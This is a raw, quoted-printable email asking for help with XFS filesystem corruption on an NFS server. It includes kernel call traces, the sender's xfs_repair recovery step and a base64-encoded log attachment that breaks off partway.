Dec =C2=A04 18:26:36 frust= er kernel: [<ffffffffa04796ea>] ? xfs_trans_ail_cursor_set+0x1a/0x30 = [xfs]
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffffa046ded2>] ? xlog= _recover_process_efis+0x62/0xc0 [xfs]
Dec =C2=A04 18:26:36 fruste= r kernel: [<ffffffffa0471f34>] ? xlog_recover_finish+0x24/0xd0 [xfs]<= /div>
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffffa046a3ac>] ? xfs_log_m= ount_finish+0x2c/0x30 [xfs]
Dec =C2=A04 18:26:36 fruster kernel: = [<ffffffffa0475a61>] ? xfs_mountfs+0x421/0x6a0 [xfs]
Dec = =C2=A04 18:26:36 fruster kernel: [<ffffffffa048d6f4>] ? xfs_fs_fill_s= uper+0x224/0x2e0 [xfs]
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffff811847ce>] ? get_= sb_bdev+0x18e/0x1d0
Dec =C2=A04 18:26:36 fruster kernel: [<fff= fffffa048d4d0>] ? xfs_fs_fill_super+0x0/0x2e0 [xfs]
Dec =C2=A0= 4 18:26:36 fruster kernel: [<ffffffffa048b5b8>] ? xfs_fs_get_sb+0x18/= 0x20 [xfs]
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffff81183c1b>] ? vfs_= kern_mount+0x7b/0x1b0
Dec =C2=A04 18:26:36 fruster kernel: [<f= fffffff81183dc2>] ? do_kern_mount+0x52/0x130
Dec =C2=A04 18:26= :36 fruster kernel: [<ffffffff811a3f22>] ? do_mount+0x2d2/0x8d0
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffff811a45b0>] ? sys_= mount+0x90/0xe0
Dec =C2=A04 18:26:36 fruster kernel: [<fffffff= f8100b072>] ? system_call_fastpath+0x16/0x1b
Dec =C2=A04 18:26= :36 fruster kernel: XFS (sda1): Failed to recover EFIs
Dec =C2=A04 18:26:36 fruster kernel: XFS (sda1): log mount finish fail= ed


I went back and looked at = the log from around the time the drive died and found this message:
Dec =C2=A04 17:58:16 fruster kernel: XFS: Internal error XFS_WANT_CORR= UPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. =C2=A0Caller 0xffffffff= a0432ba1
Dec =C2=A04 17:58:16 fruster kernel:=C2=A0
Dec= =C2=A04 17:58:16 fruster kernel: Pid: 4548, comm: nfsd Not tainted 2.6.32-= 358.23.2.el6.x86_64 #1
Dec =C2=A04 17:58:16 fruster kernel: Call Trace:
Dec =C2=A04= 17:58:16 fruster kernel: [<ffffffffa045b0ef>] ? xfs_error_report+0x3= f/0x50 [xfs]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa0= 432ba1>] ? xfs_free_extent+0x101/0x130 [xfs]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa0430c2b>] ? xfs_= free_ag_extent+0x58b/0x750 [xfs]
Dec =C2=A04 17:58:16 fruster ker= nel: [<ffffffffa0432ba1>] ? xfs_free_extent+0x101/0x130 [xfs]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa043c89d>] ? xfs_bm= ap_finish+0x15d/0x1a0 [xfs]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa04626ff>] ? xfs_= itruncate_finish+0x15f/0x320 [xfs]
Dec =C2=A04 17:58:16 fruster k= ernel: [<ffffffffa047e370>] ? xfs_inactive+0x330/0x480 [xfs]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa04793f4>] ? _xfs_tr= ans_commit+0x214/0x2a0 [xfs]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa048b9a0>] ? xfs_= fs_clear_inode+0xa0/0xd0 [xfs]
Dec =C2=A04 17:58:16 fruster kerne= l: [<ffffffff8119d31c>] ? clear_inode+0xac/0x140
Dec =C2=A0= 4 17:58:16 fruster kernel: [<ffffffff8119dad6>] ? generic_delete_inod= e+0x196/0x1d0
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffff8119db75>] ? gene= ric_drop_inode+0x65/0x80
Dec =C2=A04 17:58:16 fruster kernel: [&l= t;ffffffff8119c9c2>] ? iput+0x62/0x70
Dec =C2=A04 17:58:16 fru= ster kernel: [<ffffffff81199610>] ? dentry_iput+0x90/0x100
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffff8119c278>] ? d_de= lete+0xe8/0xf0
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffff= 8118fe99>] ? vfs_unlink+0xd9/0xf0
Dec =C2=A04 17:58:16 fruster= kernel: [<ffffffffa071cf4f>] ? nfsd_unlink+0x1af/0x250 [nfsd]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa0723f03>] ? nfsd= 3_proc_remove+0x83/0x120 [nfsd]
Dec =C2=A04 17:58:16 fruster kern= el: [<ffffffffa071543e>] ? nfsd_dispatch+0xfe/0x240 [nfsd]
= Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa068e624>] ? svc_proce= ss_common+0x344/0x640 [sunrpc]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffff81063990>] ? defa= ult_wake_function+0x0/0x20
Dec =C2=A04 17:58:16 fruster kernel: [= <ffffffffa068ec60>] ? svc_process+0x110/0x160 [sunrpc]
Dec = =C2=A04 17:58:16 fruster kernel: [<ffffffffa0715b62>] ? nfsd+0xc2/0x1= 60 [nfsd]
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffffa0715aa0>] ? nfsd= +0x0/0x160 [nfsd]
Dec =C2=A04 17:58:16 fruster kernel: [<fffff= fff81096a36>] ? kthread+0x96/0xa0
Dec =C2=A04 17:58:16 fruster= kernel: [<ffffffff8100c0ca>] ? child_rip+0xa/0x20
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffff810969a0>] ? kthr= ead+0x0/0xa0
Dec =C2=A04 17:58:16 fruster kernel: [<ffffffff81= 00c0c0>] ? child_rip+0x0/0x20
Dec =C2=A04 17:58:16 fruster ker= nel: XFS (sda1): xfs_do_force_shutdown(0x8) called from line 3863 of file f= s/xfs/xfs_bmap.c. =C2=A0Return address =3D 0xffffffffa043c8d6
Dec =C2=A04 17:58:16 fruster kernel: XFS (sda1): Corruption of in-memo= ry data detected. =C2=A0Shutting down filesystem
Dec =C2=A04 17:5= 8:16 fruster kernel: XFS (sda1): Please umount the filesystem and rectify t= he problem(s)
Dec =C2=A04 17:58:19 fruster kernel: XFS (sda1): xfs_log_force: error = 5 returned.
Dec =C2=A04 17:58:49 fruster kernel: XFS (sda1): xfs_= log_force: error 5 returned.
Dec =C2=A04 17:59:19 fruster kernel:= XFS (sda1): xfs_log_force: error 5 returned.
Dec =C2=A04 17:59:49 fruster kernel: XFS (sda1): xfs_log_force: error = 5 returned.
Dec =C2=A04 18:00:19 fruster kernel: XFS (sda1): xfs_= log_force: error 5 returned.
Dec =C2=A04 18:00:49 fruster kernel:= XFS (sda1): xfs_log_force: error 5 returned.
Dec =C2=A04 18:01:19 fruster kernel: XFS (sda1): xfs_log_force: error = 5 returned.
Dec =C2=A04 18:01:49 fruster kernel: XFS (sda1): xfs_= log_force: error 5 returned.
Dec =C2=A04 18:02:05 fruster kernel:= XFS (sda1): xfs_log_force: error 5 returned.
Dec =C2=A04 18:02:05 fruster kernel: XFS (sda1): xfs_log_force: error = 5 returned.
Dec =C2=A04 18:02:05 fruster kernel: XFS (sda1): xfs_= do_force_shutdown(0x1) called from line 1061 of file fs/xfs/linux-2.6/xfs_b= uf.c. =C2=A0Return address =3D 0xffffffffa04856e3
Dec =C2=A04 18:02:19 fruster kernel: XFS (sda1): xfs_log_force: error = 5 returned.


I have attached t= he complete log from the time it died until now.

I= n the end, I successfully repaired the filesystem with `xfs_repair -L /dev/= sda1`. =C2=A0However, I am nervous that some files may have been corrupted.=

Do any of you have any idea what could have caused this= problem?

Thanks,

Mike
--047d7bb0437492b57804ecc0aa0b-- --047d7bb0437492b58704ecc0aa0d Content-Type: text/plain; charset=US-ASCII; name="server_log.txt" Content-Disposition: attachment; filename="server_log.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hotevz9g0 RGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBJTkZPOiB0YXNrIG5mc2Q6NDQ5MyBibG9j a2VkIGZvciBtb3JlIHRoYW4gMTIwIHNlY29uZHMuCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogImVjaG8gMCA+IC9wcm9jL3N5cy9rZXJuZWwvaHVuZ190YXNrX3RpbWVvdXRfc2VjcyIg ZGlzYWJsZXMgdGhpcyBtZXNzYWdlLgpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IG5m c2QgICAgICAgICAgRCAwMDAwMDAwMDAwMDAwMDAxICAgICAwICA0NDkzICAgICAgMiAweDAwMDAw MDgwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogZmZmZjg4MDcwNDMyZmFlMCAwMDAw MDAwMDAwMDAwMDQ2IDAwMDAwMDAwMDAwMDAwMDAgMDAwMDAwMDAwMDAwMDAwZQpEZWMgIDQgMTU6 NTU6NDkgZnJ1c3RlciBrZXJuZWw6IGZmZmY4ODA3MDQzMmZhYTAgZmZmZmZmZmY4MTExOThjMCAw MDAwMDAwMDAwMDIwMDAwIDAwMDAwMDAwMDAwMDAwMDAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIg a2VybmVsOiBmZmZmODgwNzdiZDRlNjM4IGZmZmY4ODA3MDQzMmZmZDggMDAwMDAwMDAwMDAwZmI4 OCBmZmZmODgwNzdiZDRlNjM4CkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogQ2FsbCBU cmFjZToKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMTk4YzA+ XSA/IGZpbmRfZ2V0X3BhZ2VzX3RhZysweDQwLzB4MTMwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVy IGtlcm5lbDogWzxmZmZmZmZmZjgxMTE5ZTEwPl0gPyBzeW5jX3BhZ2UrMHgwLzB4NTAKRGVjICA0 IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODE1MGU5NTM+XSBpb19zY2hlZHVs ZSsweDczLzB4YzAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODEx MTllNGQ+XSBzeW5jX3BhZ2UrMHgzZC8weDUwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5l bDogWzxmZmZmZmZmZjgxNTBmMzBmPl0gX193YWl0X29uX2JpdCsweDVmLzB4OTAKRGVjICA0IDE1 OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMWEwODM+XSB3YWl0X29uX3BhZ2Vf Yml0KzB4NzMvMHg4MApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4 MTA5NmRlMD5dID8gd2FrZV9iaXRfZnVuY3Rpb24rMHgwLzB4NTAKRGVjICA0IDE1OjU1OjQ5IGZy dXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMmYxMTU+XSA/IHBhZ2V2ZWNfbG9va3VwX3RhZysw eDI1LzB4NDAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMWE0 YWI+XSB3YWl0X29uX3BhZ2Vfd3JpdGViYWNrX3JhbmdlKzB4ZmIvMHgxOTAKRGVjICA0IDE1OjU1 OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMWE2Nzg+XSBmaWxlbWFwX3dyaXRlX2Fu ZF93YWl0X3JhbmdlKzB4NzgvMHg5MApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8 ZmZmZmZmZmY4MTFiMWQ1ZT5dIHZmc19mc3luY19yYW5nZSsweDdlLzB4ZTAKRGVjICA0IDE1OjU1 OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExYjFlMmQ+XSB2ZnNfZnN5bmMrMHgxZC8w eDIwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNzFiZmZiPl0g bmZzZF9jb21taXQrMHg2Yi8weGEwIFtuZnNkXQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJu ZWw6IFs8ZmZmZmZmZmZhMDcyMmZkZD5dIG5mc2QzX3Byb2NfY29tbWl0KzB4OWQvMHgxMDAgW25m c2RdCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNzE1NDNlPl0g bmZzZF9kaXNwYXRjaCsweGZlLzB4MjQwIFtuZnNkXQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBr ZXJuZWw6IFs8ZmZmZmZmZmZhMDY4ZTYyND5dIHN2Y19wcm9jZXNzX2NvbW1vbisweDM0NC8weDY0 MCBbc3VucnBjXQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTA2 Mzk5MD5dID8gZGVmYXVsdF93YWtlX2Z1bmN0aW9uKzB4MC8weDIwCkRlYyAgNCAxNTo1NTo0OSBm cnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNjhlYzYwPl0gc3ZjX3Byb2Nlc3MrMHgxMTAvMHgx NjAgW3N1bnJwY10KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA3 MTViNjI+XSBuZnNkKzB4YzIvMHgxNjAgW25mc2RdCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogWzxmZmZmZmZmZmEwNzE1YWEwPl0gPyBuZnNkKzB4MC8weDE2MCBbbmZzZF0KRGVjICA0 IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODEwOTZhMzY+XSBrdGhyZWFkKzB4 OTYvMHhhMApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTAwYzBj YT5dIGNoaWxkX3JpcCsweGEvMHgyMApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8 ZmZmZmZmZmY4MTA5NjlhMD5dID8ga3RocmVhZCsweDAvMHhhMApEZWMgIDQgMTU6NTU6NDkgZnJ1 c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTAwYzBjMD5dID8gY2hpbGRfcmlwKzB4MC8weDIwCkRl YyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogSU5GTzogdGFzayBuZnNkOjQ0OTcgYmxvY2tl ZCBmb3IgbW9yZSB0aGFuIDEyMCBzZWNvbmRzLgpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJu ZWw6ICJlY2hvIDAgPiAvcHJvYy9zeXMva2VybmVsL2h1bmdfdGFza190aW1lb3V0X3NlY3MiIGRp c2FibGVzIHRoaXMgbWVzc2FnZS4KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBuZnNk ICAgICAgICAgIEQgMDAwMDAwMDAwMDAwMDAwMSAgICAgMCAgNDQ5NyAgICAgIDIgMHgwMDAwMDA4 MApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IGZmZmY4ODA4MTgxZDlhZTAgMDAwMDAw MDAwMDAwMDA0NiBmZmZmODgwODE4MWQ5YWE4IGZmZmY4ODA4MTgxZDlhYTQKRGVjICA0IDE1OjU1 OjQ5IGZydXN0ZXIga2VybmVsOiBmZmZmODgwODE4MWQ5YWEwIGZmZmY4ODA4MmVjMjQzMDAgZmZm Zjg4MDAyODIxNjcwMCAwMDAwMDAwMDAwMDAwNDAwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogZmZmZjg4MDcxMjQ5YTVmOCBmZmZmODgwODE4MWQ5ZmQ4IDAwMDAwMDAwMDAwMGZiODgg ZmZmZjg4MDcxMjQ5YTVmOApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IENhbGwgVHJh Y2U6CkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMTE5ZTEwPl0g PyBzeW5jX3BhZ2UrMHgwLzB4NTAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZm ZmZmZmZmODE1MGU5NTM+XSBpb19zY2hlZHVsZSsweDczLzB4YzAKRGVjICA0IDE1OjU1OjQ5IGZy dXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMTllNGQ+XSBzeW5jX3BhZ2UrMHgzZC8weDUwCkRl YyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxNTBmMzBmPl0gX193YWl0 X29uX2JpdCsweDVmLzB4OTAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZm ZmZmODExMWEwODM+XSB3YWl0X29uX3BhZ2VfYml0KzB4NzMvMHg4MApEZWMgIDQgMTU6NTU6NDkg ZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTA5NmRlMD5dID8gd2FrZV9iaXRfZnVuY3Rpb24r MHgwLzB4NTAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMmYx MTU+XSA/IHBhZ2V2ZWNfbG9va3VwX3RhZysweDI1LzB4NDAKRGVjICA0IDE1OjU1OjQ5IGZydXN0 ZXIga2VybmVsOiBbPGZmZmZmZmZmODExMWE0YWI+XSB3YWl0X29uX3BhZ2Vfd3JpdGViYWNrX3Jh bmdlKzB4ZmIvMHgxOTAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZm ODExMWE2Nzg+XSBmaWxlbWFwX3dyaXRlX2FuZF93YWl0X3JhbmdlKzB4NzgvMHg5MApEZWMgIDQg MTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTFiMWQ1ZT5dIHZmc19mc3luY19y YW5nZSsweDdlLzB4ZTAKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZm ODExYjFlMmQ+XSB2ZnNfZnN5bmMrMHgxZC8weDIwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogWzxmZmZmZmZmZmEwNzFiZmZiPl0gbmZzZF9jb21taXQrMHg2Yi8weGEwIFtuZnNkXQpE ZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDcyMmZkZD5dIG5mc2Qz X3Byb2NfY29tbWl0KzB4OWQvMHgxMDAgW25mc2RdCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogWzxmZmZmZmZmZmEwNzE1NDNlPl0gbmZzZF9kaXNwYXRjaCsweGZlLzB4MjQwIFtuZnNk XQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDY4ZTYyND5dIHN2 Y19wcm9jZXNzX2NvbW1vbisweDM0NC8weDY0MCBbc3VucnBjXQpEZWMgIDQgMTU6NTU6NDkgZnJ1 c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTA2Mzk5MD5dID8gZGVmYXVsdF93YWtlX2Z1bmN0aW9u KzB4MC8weDIwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNjhl YzYwPl0gc3ZjX3Byb2Nlc3MrMHgxMTAvMHgxNjAgW3N1bnJwY10KRGVjICA0IDE1OjU1OjQ5IGZy dXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA3MTViNjI+XSBuZnNkKzB4YzIvMHgxNjAgW25mc2Rd CkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNzE1YWEwPl0gPyBu ZnNkKzB4MC8weDE2MCBbbmZzZF0KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZm ZmZmZmZmODEwOTZhMzY+XSBrdGhyZWFkKzB4OTYvMHhhMApEZWMgIDQgMTU6NTU6NDkgZnJ1c3Rl ciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTAwYzBjYT5dIGNoaWxkX3JpcCsweGEvMHgyMApEZWMgIDQg MTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTA5NjlhMD5dID8ga3RocmVhZCsw eDAvMHhhMApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTAwYzBj MD5dID8gY2hpbGRfcmlwKzB4MC8weDIwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDog SU5GTzogdGFzayBuZnNkOjQ1MDggYmxvY2tlZCBmb3IgbW9yZSB0aGFuIDEyMCBzZWNvbmRzLgpE ZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6ICJlY2hvIDAgPiAvcHJvYy9zeXMva2VybmVs L2h1bmdfdGFza190aW1lb3V0X3NlY3MiIGRpc2FibGVzIHRoaXMgbWVzc2FnZS4KRGVjICA0IDE1 OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBuZnNkICAgICAgICAgIEQgMDAwMDAwMDAwMDAwMDAwNyAg ICAgMCAgNDUwOCAgICAgIDIgMHgwMDAwMDA4MApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJu ZWw6IGZmZmY4ODA3Nzc5MTk3OTAgMDAwMDAwMDAwMDAwMDA0NiAwMDAwMDAwMDAwMDAwMDAwIDAw MDAwMDAwMDAwMTQwMDUKRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBmZmZmODgwNzc3 OTE5NzMwIGZmZmZmZmZmYTA0ODM1MTUgZmZmZjg4MDc3NzkxOTcyMCAwMDAwMDAwMDAwMDE3MzQw CkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogZmZmZjg4MDgxY2M4ODYzOCBmZmZmODgw Nzc3OTE5ZmQ4IDAwMDAwMDAwMDAwMGZiODggZmZmZjg4MDgxY2M4ODYzOApEZWMgIDQgMTU6NTU6 NDkgZnJ1c3RlciBrZXJuZWw6IENhbGwgVHJhY2U6CkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogWzxmZmZmZmZmZmEwNDgzNTE1Pl0gPyB4ZnNfYnVmX2NvbmRfbG9jaysweDI1LzB4ODAg W3hmc10KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODE1MGYwMzU+ XSBzY2hlZHVsZV90aW1lb3V0KzB4MjE1LzB4MmUwCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogWzxmZmZmZmZmZmEwNDdmZGY3Pl0gPyBrbWVtX3pvbmVfYWxsb2MrMHg3Ny8weGYwIFt4 ZnNdCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxNTBmZjUyPl0g X19kb3duKzB4NzIvMHhiMApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZm ZmZhMDQ4NDhlNT5dID8gX3hmc19idWZfZmluZCsweGU1LzB4MjMwIFt4ZnNdCkRlYyAgNCAxNTo1 NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMDljYjYxPl0gZG93bisweDQxLzB4NTAK RGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0ODQ3NTE+XSB4ZnNf YnVmX2xvY2srMHg1MS8weDEwMCBbeGZzXQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6 IFs8ZmZmZmZmZmZhMDQ4NDhlNT5dIF94ZnNfYnVmX2ZpbmQrMHhlNS8weDIzMCBbeGZzXQpEZWMg IDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ4NGE2ND5dIHhmc19idWZf Z2V0KzB4MzQvMHgxYjAgW3hmc10KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZm ZmZmZmZmYTA0NTcxYzM+XSA/IHhmc19kaXIyX2xlYWZuX2xvb2t1cF9mb3JfZW50cnkrMHgxMTMv MHgzNjAgW3hmc10KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0 ODUwZWM+XSB4ZnNfYnVmX3JlYWQrMHgyYy8weDEwMCBbeGZzXQpEZWMgIDQgMTU6NTU6NDkgZnJ1 c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ3YTk0Nz5dIHhmc190cmFuc19yZWFkX2J1ZisweDE5 Ny8weDQxMCBbeGZzXQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZh MDQ2MzI3ND5dIHhmc19pbWFwX3RvX2JwKzB4NTQvMHgxMzAgW3hmc10KRGVjICA0IDE1OjU1OjQ5 IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0NjUzM2I+XSB4ZnNfaXJlYWQrMHg3Yi8weDFi MCBbeGZzXQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTE5ZDEy ZT5dID8gaW5vZGVfaW5pdF9hbHdheXMrMHgxMWUvMHgxYzAKRGVjICA0IDE1OjU1OjQ5IGZydXN0 ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0NWZmMmU+XSB4ZnNfaWdldCsweDI3ZS8weDZlMCBbeGZz XQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ1ZjcyMD5dID8g eGZzX2l1bmxvY2srMHgyMC8weGQwIFt4ZnNdCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5l bDogWzxmZmZmZmZmZmEwNDdkOGQ2Pl0geGZzX2xvb2t1cCsweGM2LzB4MTEwIFt4ZnNdCkRlYyAg NCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDhhNTg0Pl0geGZzX3ZuX2xv b2t1cCsweDU0LzB4YTAgW3hmc10KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZm ZmZmZmZmODExOGU0ZjI+XSBfX2xvb2t1cF9oYXNoKzB4MTAyLzB4MTYwCkRlYyAgNCAxNTo1NTo0 OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMThlZTg0Pl0gbG9va3VwX29uZV9sZW4rMHhi NC8weDExMApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDcxYjE4 ZD5dIG5mc2RfbG9va3VwX2RlbnRyeSsweDEwZC8weDUwMCBbbmZzZF0KRGVjICA0IDE1OjU1OjQ5 IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA3MWI1YjM+XSBuZnNkX2xvb2t1cCsweDMzLzB4 ZDAgW25mc2RdCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNzIz YzQyPl0gbmZzZDNfcHJvY19sb29rdXArMHg5Mi8weGYwIFtuZnNkXQpEZWMgIDQgMTU6NTU6NDkg ZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDcxNTQzZT5dIG5mc2RfZGlzcGF0Y2grMHhmZS8w eDI0MCBbbmZzZF0KRGVjICA0IDE1OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA2 OGU2MjQ+XSBzdmNfcHJvY2Vzc19jb21tb24rMHgzNDQvMHg2NDAgW3N1bnJwY10KRGVjICA0IDE1 OjU1OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODEwNjM5OTA+XSA/IGRlZmF1bHRfd2Fr ZV9mdW5jdGlvbisweDAvMHgyMApEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZm ZmZmZmZhMDY4ZWM2MD5dIHN2Y19wcm9jZXNzKzB4MTEwLzB4MTYwIFtzdW5ycGNdCkRlYyAgNCAx NTo1NTo0OSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNzE1YjYyPl0gbmZzZCsweGMyLzB4 MTYwIFtuZnNkXQpEZWMgIDQgMTU6NTU6NDkgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDcx NWFhMD5dID8gbmZzZCsweDAvMHgxNjAgW25mc2RdCkRlYyAgNCAxNTo1NTo0OSBmcnVzdGVyIGtl cm5lbDogWzxmZmZmZmZmZjgxMDk2YTM2Pl0ga3RocmVhZCsweDk2LzB4YTAKRGVjICA0IDE1OjU1 OjQ5IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODEwMGMwY2E+XSBjaGlsZF9yaXArMHhhLzB4 